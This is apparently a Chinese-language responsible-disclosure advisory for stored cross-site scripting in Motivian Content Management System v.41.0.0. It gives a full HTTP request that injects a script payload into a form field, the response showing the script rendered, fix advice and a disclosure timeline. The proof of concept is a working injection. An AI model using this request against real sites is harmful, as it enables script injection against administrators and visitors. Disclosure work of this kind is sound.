本仓库揭示在 Motivian Content Management System v.41.0.0 中发现的安全漏洞。
该漏洞已按照负责任披露实践向供应商报告,并提交给 MITRE,MITRE 分配了临时 CVE ID。在 45 天披露期到期后,相关细节现已公开。
Marketing/Forms、Marketing/Offers、Content/PagesMotivian Content Management System v.41.0.0 中的跨站脚本漏洞允许远程攻击者通过 Marketing/Forms、Marketing/Offers 和 Content/Pages 组件执行任意代码。该漏洞通过向包括 Marketing/Form 和 Marketing/Offers 中的标题以及 Content/Pages 中的 header script 字段在内的多个字段注入恶意 JavaScript 代码进行利用。
该漏洞可通过不同组件的多个字段进行利用。为演示目的,以下概念验证聚焦于一个特定场景:
Marketing/Forms 部分,创建一个新的表单元素。以下是用于演示该问题的完整 HTTP 请求与响应记录:
POST /portal/admin/formbuilder/editCmsFormProps!saveForm.action HTTP/1.1
Host: [REDACTED]
Content-Length: 1362
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [REDACTED]
Connection: close
targetFieldId=&targetFormId=&targetFieldIndex=&openedTabProps=tab1&langSelected=it&form.id=1162&search_form_id=&search_form_status_id=&search_form_name=&search_form_description=&date_from=&date_to=¤tPage=&struts.token.name=EditCmsFormProps&EditCmsFormProps=DBFW4RH1O9SVF1J3J9TA0WSD5VHPJCKY&date_notification=&form.seoName_en=&form.seoName_el=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&[...]
HTTP/1.1 200 OK
Connection: close
Date: Wed, 05 Feb 2025 12:00:09 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: it-IT
Content-Length: 94593
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>MOTIVIAN | Content Management</title> <link rel="shortcut icon" type="image/x-icon" href="/portal/favicon.ico"/> <link rel="icon" type="image/x-icon" href="/portal/favicon.ico"/> <script> <a href="javascript:void(0)" class="sortingRow" onclick="javascript:simplePagesFormDoSort('status','asc')" >Status</a></td> <td class="TableHeader" colspan="9" style="width:188px">Management</td> <td class="TableHeader w10"> </td> </tr> </table> </td> </tr> <tr> <td class="w10 row_odd"> </td> <td class="w70 row_odd"> <div class="check-box w70" style="float:left"> <input type="checkbox" id="subpages_formIds_id_1162" name="formIds" value="1162"> <label for="subpages_formIds_id_1162">1162 </label> </div> </td> <td class="w40 row_odd"><img src="https://raw.githubusercontent.com/framarcuccio/cve-2025-29094-multiple-stored-cross-site-scripting-xss/main/portal/assets/images/red_form.png"/></td> <td class="NameCol row_odd"> <div class="wrap_words_within_rows w155"><script>alert(document.domain)</script> [...]
对所有用户输入进行清理,并在输出时进行转义。实施内容安全策略(CSP)标头以缓解 XSS 风险。
| 日期 | 行动 |
|---|---|
| 2025-02-06 | CVE ID 请求(CNA:MITRE) |
| 2025-04-02 | CVE ID 分配 |
| 2025-04-07 | 向供应商报告漏洞 |
| 2025-05-31 | 在45天披露期(共54天)到期后公开披露 |
| 2025-06-04 | 在 MITRE 数据库和 NIST/NVD 门户中正式注册并录入 |
发现并负责任地披露者:
Francesco Marcuccio
网络安全顾问,渗透测试工程师
MITRE 发现者归属列为:
Francesco Marcuccio
网络安全顾问,渗透测试工程师
此 CVE ID 正式处于已发布状态。分析后,NIST 将更新 CVSS 评分。